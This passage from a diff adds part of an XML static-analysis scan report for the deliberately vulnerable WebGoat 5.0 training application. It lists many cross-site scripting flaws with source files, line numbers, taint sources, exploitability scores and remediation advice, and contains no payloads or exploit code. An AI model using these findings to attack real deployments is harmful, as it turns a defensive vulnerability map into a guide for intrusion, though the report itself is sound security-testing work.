+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
